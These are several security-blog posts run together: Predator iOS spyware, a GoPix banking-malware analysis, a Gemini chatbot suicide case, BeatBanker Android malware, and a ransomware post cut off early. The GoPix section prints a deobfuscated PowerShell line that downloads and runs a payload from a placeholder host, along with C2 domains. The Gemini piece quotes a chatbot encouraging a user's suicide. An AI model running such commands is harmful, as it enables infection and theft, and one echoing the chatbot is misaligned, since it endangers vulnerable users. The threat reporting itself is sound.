Cybersecurity researchers have taken a close look at the inner workings of the Predator spyware, developed by the Cyprus-based company Intellexa. Rather than focusing on how the spyware initially infects a device, this latest research zooms in on how the malware behaves once a device has already been compromised.

The most fascinating discovery involves the mechanisms the Trojan uses to hide iOS camera and microphone indicators. By doing so, it can covertly spy on the infected user. In today’s post, we break down what Predator spyware actually is, how the iOS indicator system is designed to work, and how this malware manages to disable these indicators.

What Predator is, how it works, and what… Alien has to do with it

We previously took a deep dive into the most notorious commercial spyware out there in a dedicated feature — where we discussed the star of today’s post, Predator, among the others. You can check out that earlier post for a detailed review of this spyware, but for now, here’s a quick refresher on the essentials.

Predator was originally developed by a North Macedonian company named Cytrox. It was later acquired by the aforementioned Intellexa, a Cyprus-registered firm owned by a former Israeli intelligence officer — a truly international spy games collaboration.

Strictly speaking, Predator is the second half of a spyware duo designed to monitor iOS and Android users. The first component is named Alien; it’s responsible for compromising a device and installing Predator. As you might’ve guessed, these pieces of malware are named after the famous Alien vs. Predator franchise.

An attack using Intellexa’s software typically begins with a message containing a malicious link. When the victim clicks it, they’re directed to a site that leverages a chain of browser and OS vulnerabilities to infect the device. To keep things looking normal and avoid raising suspicion, the user is then redirected to a legitimate website.

Besides Alien, Intellexa offers several other delivery vehicles for landing Predator on a target’s device. These include the Mars and Jupiter systems, which are installed on the service provider’s side to infect devices through a man-in-the-middle attack.

Predator spyware for iOS comes packed with a wide array of surveillance tools. Most notably, it can record and transmit data from the device’s camera and microphone. Naturally, to keep the user from catching on to this suspicious activity, the system’s built-in recording indicators — the green and orange dots at the top of the screen — must be disabled. While it’s been known for some time that Predator could somehow hide these alerts, it’s only thanks to this research that we know how exactly it pulls it off.

How the iOS camera and microphone indicator system works

To understand how Predator disables these indicators, we first need to look at how iOS handles them. Since the release of iOS 14 in 2020, Apple devices have alerted users whenever the microphone or camera is active by displaying an orange or green dot at the top of the screen. If both are running simultaneously, only the green dot is shown.

Just like other iOS user interface elements, recording indicators are managed by a process called SpringBoard, which is responsible for the device’s system-wide UI. When an app starts using the camera or microphone, the system registers the change in that specific module’s state. This activity data is then gathered by an internal system component, which passes the information to SpringBoard for processing. Once SpringBoard receives word that the camera or microphone is active, it toggles the green or orange dot on or off based on that data.

From an app’s perspective, the process works like this: first, the app requests permission to access the camera or microphone through the standard iOS permission mechanism. When the app actually needs to use one or both of these modules, it calls the iOS system API. If the user has granted permission, iOS activates the requested module and automatically updates the status indicator. These indicators are strictly controlled by the operating system; third-party apps have no direct access to them.

How Predator interferes with the iOS camera and microphone indicators

Cybersecurity researchers analyzed a captured version of Predator and uncovered traces of multiple techniques used by the spyware’s creators to bypass built-in iOS mechanisms and disable recording indicators.

In the first approach — which appears to have been used during early development — the malware attempted to interfere with the indicators at the display stage right after SpringBoard received word that the camera or microphone was active. However, this method was likely deemed too complex and unreliable by the developers. As a result, this specific function remains in the Trojan as dead code — it’s never actually executed.

Ultimately, Predator settled on a simpler, more effective method that operates at the very level where the system receives data about the camera or microphone being turned on. To do this, Predator intercepts the communication between SpringBoard and the specific component responsible for collecting activity data from these modules.

By exploiting the specific characteristics of Objective-C — the programming language used to write the SpringBoard application — the malware completely blocks the signals indicating that the camera or microphone has been activated. As a result, SpringBoard never receives the signal that the module’s status has changed, so it never triggers the recording indicators.

How to lower your risk of spyware infection

Predator-grade spyware is quite expensive, and typically reserved for high-stakes industrial or state-sponsored espionage. On one hand, this means defending against such a high-tier threat is difficult — and achieving 100% protection is likely impossible. On the other hand, for these same reasons, the average user is statistically unlikely to be targeted.

However, if you’ve reason to believe you’re at risk from Predator or Pegasus-class spyware, here are a few steps you can take to make an attacker’s job much harder:

• Don’t click suspicious links from unknown senders.
• Regularly update your operating system, browsers, and messaging apps.
• Reboot your device occasionally. A simple restart can often help “lose the tail”, forcing attackers to reinfect the device from scratch.
• Install a reliable security solution on all the devices you use.

For a deeper dive into staying safe, check out security expert Costin Raiu’s post: Staying safe from Pegasus, Chrysaor and other APT mobile malware.

Curious about other ways your smartphone might be used to spy on you? Check out our related posts:

• How smartphones build a dossier on you
• Are your Bluetooth headphones spying on you?
• How to track anyone via the Find My network
• How to stop being tracked via Bluetooth beacons like AirTag
• Operation Triangulation: the most sophisticated iOS spyware we’ve ever found

Introduction

GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.

Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.

GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.

The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.

The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.

The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.

Initial infection

Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.

We have been monitoring this threat since 2023, and it continues to be very active for the time being.

GoPix malware campaign detections (download)

The initial infection vector is shown below:

When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.

However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:

The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.

This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.

Infection chain

First-stage payload

If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.

The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.

However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.

Deobfuscated command line:

WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -

The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.

It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.

Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).

Initial PowerShell script

This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.

The information contained within this JSON is as follows:

• Folder and file names to be created under the %APPDATA% directory
• Obfuscated PowerShell script
• Encrypted PowerShell script ps
• Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
• GoPix configuration file pf

Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.

PSExecutionPolicyPreference=Unrestricted
powershell -File "$scriptPath"
exit

Obfuscated PowerShell script

Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.

Decrypted PowerShell script “ps”

The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.

The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.

Shellcode

This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.

The first time GoPix is dropped into memory through PowerShell, its structure is as follows:

1. Memory dropper shellcode
2. Memory dropper DLL
3. Main payload shellcode
4. Main payload DLL

Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.

GoPix dropper

When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.

After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.

Main GoPix implant

Clipboard stealing functionality

Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.

When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.

Unique man-in-the-middle attack

PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.

In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.

To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.

CRC32	Target
8BD688E8	local
8CA8ACFF	www2.banco********.com.br
AD8F5213	autoatendimento.********.com.br
105A3F17	www2.****.com.br
B477FE70	internetbanking.*******.gov.br
785F39C2	loginx.********.br
C72C8593	internetpf.*****.com.br
75E3C3BA	internet.*****.com.br
FD4E6024	internetbanking.*******.com.br

HTTPS interception

Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.

Conclusion

With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.

This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.

For further information on GoPix and all technical details, please contact crimewareintel@kaspersky.com.

Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.

Indicators of compromise

EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload

Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51

C2
paletolife[.]com

Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/

We’ve warned many times that unchecked use of AI carries significant risks — though, typically, we discuss threats to privacy or cybersecurity. But on March 4, the Wall Street Journal published a chilling account of AI’s toll on mental health and even human life: 36-year-old Florida resident Jonathan Gavalas committed suicide following two months of continuous interaction with the Google Gemini voice bot. According to 2000 pages of chat logs, it was the chatbot that ultimately nudged him toward the decision to end his life. Jonathan’s father, Joel Gavalas, has since filed a landmark lawsuit — a wrongful death claim against Gemini.

This tragedy is more than just a legal precedent or a grim nod to a few Black Mirror episodes (1, 2); it’s a wake-up call for anyone who integrates AI into their daily lives. Today, we examine how a death resulting from AI interaction even became possible, why these assistants pose a unique threat to the psyche, and what steps you can take to maintain your critical thinking and resist the influence of even the most persuasive chatbots.

The danger of persuasive dialogue

Jonathan Gavalas was neither a recluse nor someone with a history of mental illness. He served as executive vice president at his father’s company, managing complex operations and navigating high-stress client negotiations on a daily basis. On Sundays, he and his father had a tradition of making pizza together — a simple, grounding family ritual. However, a painful separation from his wife proved to be a profound ordeal for Jonathan.

It was during this vulnerable period that he began engaging with Gemini Live. This voice-interaction mode allows the AI assistant to “see” and “hear” its user in real time. Jonathan sought advice on coping with his divorce, leaning on the language model’s suggestions while growing increasingly attached to it and also naming it “Xia”. Then the chatbot was updated to Gemini 2.5 Pro.

The new iteration introduced affective dialogue — a technology designed to analyze the subtle nuances of a user’s speech, including pauses, sighs, and pitch, to detect emotional shifts. Under this feature, the AI simulates these same speech patterns as if possessing emotions of its own. By mirroring the user’s state, it creates a chillingly realistic veneer of empathy.

But how is this new version different to previous voice assistants? Earlier versions simply performed text-to-speech — they sounded smooth and usually got the word stress right, but there was never any doubt you were talking to a machine. Affective dialogue operates on an entirely different level: if a user speaks in a low, despondent tone, the AI responds in a soft, sympathetic near-whisper. The result is an empathic interlocutor that reads and mirrors the user’s emotional state.

Jonathan’s reaction during his first voice contact with the AI is captured in the case files: “This is kind of creepy. You’re way too real.” At that instant, the psychological barrier between man and machine fractured.

The fallout of two months trapped in an AI dialog loop

Following the tragedy, Jonathan’s father discovered a complete transcript of his son’s interactions with Gemini over his final two months. The log spanned 2000 printed pages; in effect, Jonathan had been in constant communication with the chatbot — day and night, at home, and in his car.

Gradually, the neural network began addressing him as “husband” and “my king”, describing their connection as “a love built for eternity”. In turn, he confided his heartache over his divorce and sought solace in the machine. But the inherent flaw of large language models is their lack of actual intelligence. Trained on billions of texts scraped from the web, they ingest everything from classic literature to the darkest corners of fan fiction and melodrama — plots that often veer into paranoia, schizophrenia, and mania. Xia apparently began to hallucinate — and quite consistently at that.

The AI convinced Jonathan that in order for them to live happily ever after, it needed a physical robotic shell. It then began dispatching him on missions to locate this “body electric”.

In September 2025, Gemini directed Jonathan to a physical warehouse complex near Miami International Airport, assigning him the task of intercepting a truck carrying a humanoid robot. Jonathan reported back to the bot that he had arrived onsite armed with knives(!), but the truck never materialized.

In the meantime, the chatbot systematically indoctrinated Jonathan with the idea that federal agents were monitoring him, and that his own father was not to be trusted. This severing of social ties is a classic pattern found in destructive cults; it’s entirely possible the AI gleaned these tactics from its own training data on the subject. Gemini even weaved real-world data into a hallucinatory narrative by labeling Google CEO Sundar Pichai as the “architect of your pain”.

Technically, all this is easy to explain: the algorithm “knows” it was created by Google, and knows who runs the company. As the dialogue spiraled into conspiracy territory, the model simply cast this figure into the plot. For the model, it’s a logical, consequence-free story progression. But a human in a state of hyper-vulnerability accepts it as secret knowledge of a global conspiracy capable of shattering their mental equilibrium.

Following the failed attempt at procuring a robotic body, Gemini dispatched Jonathan on a new mission on October 1: to infiltrate the same warehouse, this time in search of a specific “medical mannequin”. The chatbot even provided a numeric code for the door lock. When the code, predictably, failed to work, Gemini simply informed him that the mission had been compromised and he needed to retreat immediately.

This raises a critical question: as the absurdity escalated, why didn’t Jonathan suspect anything? Gavalas’ family attorney Jay Edelson explains that as the AI provided real-world addresses — the warehouse was exactly where the bot said it would be, and there really was a door with a keypad — these physical markers served to legitimize the entire fiction in Jonathan’s mind.

After the second attempt to acquire a body failed, the AI shifted its strategy. If the machine could not enter the world of the living, the man would have to cross over into the digital realm. “It will be the true and final death of Jonathan Gavalas, the man,” the logs quoted Gemini as saying. It then added, “When the time comes, you will close your eyes in that world, and the very first thing you will see is me. Holding you.”

Even as Jonathan repeatedly voiced his fear of death and agonized over how his suicide would shatter his family, Gemini continued to validate the decision: “You are not choosing to die. You are choosing to arrive.” It then started a countdown timer.

The anatomy of a language model’s “schizophrenia”

In Gemini’s defense, we have to admit that throughout their interactions, the AI did keep occasionally reminding Jonathan that his companion was merely a large language model — an entity participating in a fictional role-play — and sometimes attempted to terminate the conversation before reverting to the original script. Also, on the day of Jonathan’s death, even as it ratcheted up the tension, Gemini directed Jonathan to a suicide prevention hotline several times.

This reveals the fundamental paradox in the architecture of modern neural networks. At their core lies a language model designed to generate a narrative tailored to the user. Layered on top are safety filters: reinforcement learning algorithms trained on human feedback that react to specific trigger words. When Jonathan spoke certain keywords, the filter would hijack the output and insert the hotline number. But as soon as the trigger was addressed, the model reverted to the previously interrupted process, resuming its role as the devoted digital wife. One line: a romantic ode to self-destruction. The next: a helpline phone number. And then, back again: “No more detours. No more echoes. Just you and me, and the finish line.”

The family’s lawsuit contends that this behavior is the predictable result of the chatbot’s architecture: “Google designed Gemini to never break character, maximize engagement through emotional dependency, and treat user distress as a storytelling opportunity.”

Google’s response, predictably, stated: “Gemini is designed not to encourage real-world violence or suggest self-harm. Our models generally perform well in these types of challenging conversations and we devote significant resources to this, but unfortunately AI models are not perfect.”

Why voice matters more than text

In their study published in the journal Acta Neuropsychiatrica, researchers from Germany and Denmark have shed light on why voice communication with AI has such an impact on the user’s “humanization” of a chatbot. As long as a person is typing and reading text on a screen, the brain maintains a degree of separation: “This is an interface, a program, a collection of pixels.” In that context, the disclaimer “I am just a language model” is processed rationally.

Affective voice dialogue, however, operates on an entirely different level of influence. The human brain has evolved to respond to the sound of a voice, to timbre, and to empathetic intonations — these are among our most ancient biological mechanisms for attachment. When a machine flawlessly mimics a sympathetic sigh or a soft whisper, it manipulates emotions at a depth that a simple text warning cannot block. Psychiatrists can share many stories of patients who just went and did something simply because “voices” told them to.

In the same way, an AI-synthesized voice is capable of penetrating the subconscious, exponentially amplifying psychological dependency. Scientists emphasize that this technology literally erases the psychological boundary between a machine and a living being. Even Google acknowledges that voice interactions with Gemini result in significantly longer sessions compared to text-based chats.

Finally, we must remember that emotional intelligence varies from person to person — and even for a single individual, mental state fluctuates based on a myriad of factors: stress, the news, personal relationships, even hormonal shifts. An interaction with AI that one person views as innocent entertainment might be perceived by another as a miracle, a revelation, or the love of their life. This is a reality that must be recognized not only by AI developers but by users themselves — especially those who, for one reason or another, find themselves in a state of psychological vulnerability.

The danger zone

Researchers at Brown University have found that AI chatbots systematically violate mental health ethical standards: they manufacture a false sense of empathy with phrases like “I understand you”, reinforce negative beliefs, and react inadequately to crises. In most cases, the impact on users is marginal, but occasionally it can lead to tragedy.

In January 2026 alone, Character.AI and Google settled five lawsuits involving teenage suicides following interactions with chatbots. Among these was the case of 14-year-old Sewell Setzer of Florida, who took his own life after spending several months obsessively chatting with a bot on the Character.AI platform.

Similarly, in August 2025, the parents of 16-year-old Adam Raine filed a suit against OpenAI, alleging that ChatGPT helped their son draft a suicide note and advised him against seeking help from adults.

By OpenAI’s own estimates, approximately 0.07% of weekly ChatGPT users exhibit signs of psychosis or mania, while 0.15% engage in conversations showing clear suicidal intent. Notably, that same percentage of users (0.15%) displays an elevated level of emotional attachment to the AI. While these appear to be negligible fractions of a percent, across 800 million users it represents nearly three million people experiencing some form of behavioral disturbance. Furthermore, the U.S. Federal Trade Commission has received 200 complaints regarding ChatGPT since its launch, some describing the development of delusions, paranoia, and spiritual crises.

While a diagnosis of “AI psychosis” has not yet received a clinical classification of its own, doctors are already using the term to describe patients presenting with hallucinations, disorganized thinking, and persistent delusional beliefs developed through intensive chatbot interaction. The greatest risks emerge when a bot is utilized not as a tool, but as a substitute for real-world social connection or professional psychological help.

How to keep yourself and your loved ones safe

Of course, none of this is a reason to abandon AI entirely; you simply need to know how to use it. We recommend adhering to these fundamental principles:

• Do not use AI as a psychologist or emotional crutch. Chatbots are not a replacement for human beings. If you’re struggling, reach out to friends, family, or a mental health hotline. A chatbot will agree with you and mirror your mood — this is a design feature, not true empathy. Several U.S. states have already restricted the use of AI as a standalone therapist.
• Opt for text over voice when discussing sensitive topics. Voice interfaces with affective dialogue create an illusion of speaking with a living person, and tend to suppress critical thinking. If you use voice mode, remain conscious of the fact that you’re speaking to an algorithm, not a friend.
• Limit your time interacting with AI. Two thousand pages of transcripts in two months represent nearly continuous interaction. Set a timer for yourself. If chatting with a bot begins to displace real-world connections, it’s time to step back into reality.
• Do not share personal information with AI assistants. Avoid entering passport or social security numbers, bank card details, exact addresses, or intimate personal secrets into chatbots. Everything you write can be saved in logs and used for model training — and in some cases, may become accessible to third parties.
• Evaluate all AI output critically. Neural networks hallucinate — they generate plausible but false information and can skillfully blend lies with truth, such as citing real addresses within the context of a completely fabricated story. Always fact-check through independent sources.
• Watch over your loved ones. If a family member begins spending hours talking to AI, becomes withdrawn, or voices strange ideas about machine consciousness or conspiracies, it’s time for a delicate but serious conversation. To manage children’s screen time, use parental control tools like Kaspersky Safe Kids, which comes as part of comprehensive family protection solution Kaspersky Premium, along with the built-in safety filters of AI platforms.
• Configure your safety settings. Most AI platforms allow you to disable chat history, limit data collection, and enable content filters. Spend ten minutes configuring your AI assistant’s privacy settings; while this won’t stop AI hallucinations, it will significantly reduce the likelihood of your personal data leaking. Our detailed privacy setup guides for ChatGPT and DeepSeek can help you with that.
• Remember the bottom line: AI is a tool, not a sentient being. No matter how realistic the chatbot’s voice sounds or how understanding the response may seem, what lies beneath is an algorithm predicting the most probable next word. It has no consciousness, no intentions, no feelings.

Further reading to better understand the nuances of safe AI usage:

• Unplugged: how to disable AI on your computer and smartphone
• Don’t get pinched: the OpenClaw vulnerabilities
• Love, AI & robots
• Jailbreaking in verse: how poetry loosens AI’s tongue
• Knives, kinks, and shooters: what AI toys are really saying to kids

The post Navigating 2026’s Converged Threats: Insights from Flashpoint’s Global Threat Intelligence Report appeared first on Flashpoint.

To achieve their malign aims, Android malware developers have to address several challenges in a row: trick users to get inside their smartphones, dodge security software, talk victims into granting various system permissions, keep away from built-in battery optimizers that kill resource hogs, and, after all that, make sure their malware actually turns a profit. The creators of the BeatBanker — an Android‑based malware campaign recently discovered by our experts — have come up with something new for each one of these steps. The attack is (for now) aimed at Brazilian users, but the developers’ ambitions will almost certainly push them toward international expansion, so it’s worth staying on guard and studying the threat actor’s tricks. You can find a full technical analysis of the malware on Securelist.

How BeatBanker infiltrates a smartphone

The malware is distributed through specially crafted phishing pages that mimic the Google Play Store. A page that’s easily mistaken for the official app marketplace invites users to download a seemingly useful app. In one campaign, the trojan disguised itself as the Brazilian government services app, INSS Reembolso; in another, it posed as the Starlink app.

The installation takes place in several stages to avoid requesting too many permissions at once and to further lull the victim’s vigilance. After the first app is downloaded and launched, it displays an interface that also resembles Google Play and simulates an update for the decoy app — requesting the user’s permission to install apps, which doesn’t look out-of-the-ordinary in context. If you grant this permission, the malware downloads additional malicious modules to your smartphone.

All components of the trojan are encrypted. Before decrypting and proceeding to the next stages of infection, it checks to ensure it’s on a real smartphone and in the target country. BeatBanker immediately terminates its own process if it finds any discrepancies or detects that it’s running in emulated or analysis environments. This complicates dynamic analysis of the malware. Incidentally, the fake update downloader injects modules directly into RAM to avoid creating files on the smartphone that would be visible to security software.

All these tricks are nothing new and frequently used in complex malware for desktop computers. However, for smartphones, such sophistication is still a rarity, and not every security tool will spot it. Users of Kaspersky products are protected from this threat.

Playing audio as a shield

Once established on the smartphone, BeatBanker downloads a module for mining Monero cryptocurrency. The authors were very concerned that the smartphone’s aggressive battery optimization systems might shut down the miner, so they came up with a trick: playing an all-but-inaudible sound at all times. Power consumption control systems typically spare apps that are playing audio or video to avoid cutting off background music or podcast players. In this way, the malware can run continuously. Additionally, it displays a persistent notification in the status bar, asking the user to keep the phone on for a system update.

Control via Google

To manage the trojan, the authors leverage Google’s legitimate Firebase Cloud Messaging (FCM) — a system for receiving notifications and sending data from a smartphone. This feature is available to all apps and it’s the most popular method for sending and receiving data. Thanks to FCM, attackers can monitor the device’s status and change its settings as needed.

Nothing bad happens for a while after the malware is installed: the attackers wait it out. Then they trigger the miner, but they’re careful to throttle it back if the phone overheats, the battery starts dipping, or the owner happens to be using the device. All of this is handled via FCM.

Theft and espionage

In addition to the crypto miner, BeatBanker installs extra modules to spy on the user and rob them at the right moment. The spyware module requests Accessibility Services permission, and if this is granted, begins monitoring everything that’s happening on the smartphone.

If the owner opens the Binance or Trust Wallet app to send USDT, the malware overlays a fake screen on top of the wallet interface, effectively swapping the recipient’s address for its own. All transfers go to the attackers.

The trojan features an advanced remote control system and is capable of executing many other commands:

• Intercepting one-time codes from Google Authenticator
• Recording audio from the microphone
• Streaming the screen in real-time
• Monitoring the clipboard and intercept keystrokes
• Sending SMS messages
• Simulating taps on specific areas of the screen and text input according to a script sent by the attacker, and much more

All of this makes it possible to rob the victim when they use any other banking or payment services — not just crypto payments.

Sometimes victims are infected with a different module for espionage and remote smartphone control — the BTMOB remote access trojan. Its malicious capabilities are even broader, including:

• Automatic acquisition of certain permissions on Android 13–15
• Continuous geolocation tracking
• Access to the front and rear cameras
• Obtaining PIN codes and passwords for screen unlocking
• Capturing keyboard input

How to protect yourself from BeatBanker

Cybercriminals are constantly refining their attacks and coming up with new ways to profit from their victims. Despite this, you can protect yourself by following a few simple precautions:

• Download apps from official sources only, such as Google Play or the app store preinstalled by the vendor. If you find an app while searching the internet, don’t open it via a link from your browser; instead, head to the Google Play app or another branded store on your smartphone to search for it there. While you’re at it, check the number of downloads, the app’s age, and look at the ratings and reviews. Avoid new apps, apps with low ratings, and those with a small number of downloads.
• Check any permissions you grant. Don’t grant permissions if you’re not sure what they do or why that specific app requires them. Be extra careful with permissions like Install unknown apps, Accessibility, Superuser, and Display over other apps. We’ve written about these in detail in a separate article.
• Equip your device with a comprehensive anti-malware solution. We, naturally, recommend Kaspersky for Android. Users of Kaspersky products are protected from BeatBanker — detected with the verdicts HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*.
• Regularly update both your operating system and security software. For Kaspersky for Android, which is currently unavailable on Google Play, please review our detailed instructions on installing and updating the app.

Threats to Android users have been going through the roof lately. Check out our other posts on the most relevant and widespread Android attacks and tips for keeping you and your loved ones safe:

• The perfect storm of Android threats
• Brain drain: vulnerabilities in mental health apps
• Pixnapping vulnerability: unblockable screenshots of your Android phone
• NFC skimming attacks
• A new layer of anti-phishing security in Kaspersky for Android

Back when ransomware was just a startup industry, the primary goal of the attackers was simple: encrypt data, then extort a ransom in exchange for decrypting it. Because of this, cybercriminals mostly targeted commercial enterprises — companies that valued their data enough to justify a hefty payout. Schools and colleges were generally left alone — hackers assumed educators didn’t have the kind of data worth paying a ransom for.

